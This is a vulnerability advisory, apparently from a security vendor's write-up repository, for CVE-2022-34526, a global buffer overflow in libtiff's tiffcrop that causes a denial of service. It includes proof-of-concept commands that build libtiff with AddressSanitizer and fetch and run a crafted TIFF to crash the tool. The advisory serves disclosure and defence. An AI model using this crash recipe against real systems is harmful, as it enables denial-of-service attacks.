Skip to content

Latest commit

 

History

History
57 lines (39 loc) · 1.41 KB

libtiff-buffer-overflow-dos-xray-259933.md

File metadata and controls

57 lines (39 loc) · 1.41 KB
description title date_published last_updated xray_id vul_id cvss severity discovered_by type
CVE-2022-34526 Medium severity. A global-memory buffer overflow in the libtiff library leads to denial of service when processing crafted TIFF images with tiffcrop.
libtiff tiffcrop buffer overflow DoS
2022-11-16
2022-11-16
XRAY-259933
CVE-2022-34526
6.5
medium
Nitay Meiron
vulnerability

Summary

A global-memory buffer overflow in the libtiff library leads to denial of service when processing crafted TIFF images with tiffcrop.

Component

libtiff

Affected versions

libtiff (,), no fixed release

Description

A 4-byte global-memory buffer overflow occurs when tiffcrop is run with the -i argument against a crafted TIFF file, leading to a crash of tiffcrop.

PoC

Compile libtiff 4.4.0 with ASAN

curl https://gitlab.com/libtiff/libtiff/-/archive/v4.4.0/libtiff-v4.4.0.tar.gz -o libtiff-v4.4.0.tar.gz
tar -xf libtiff-v4.4.0.tar.gz
cd libtiff-v4.4.0
CC=gcc CXX=g++ CFLAGS="-ggdb -fsanitize=address" ./configure && make

Run the PoC

cd tools
curl https://gitlab.com/libtiff/libtiff/uploads/9943030806e03e7d2b8dff5ec0341b6f/poc.zip -o poc.zip
unzip poc.zip
./tiffcrop -i poc.tif a.tif

Vulnerability Mitigations

No vulnerability mitigations are supplied for this issue

References

Advisory & PoC exploit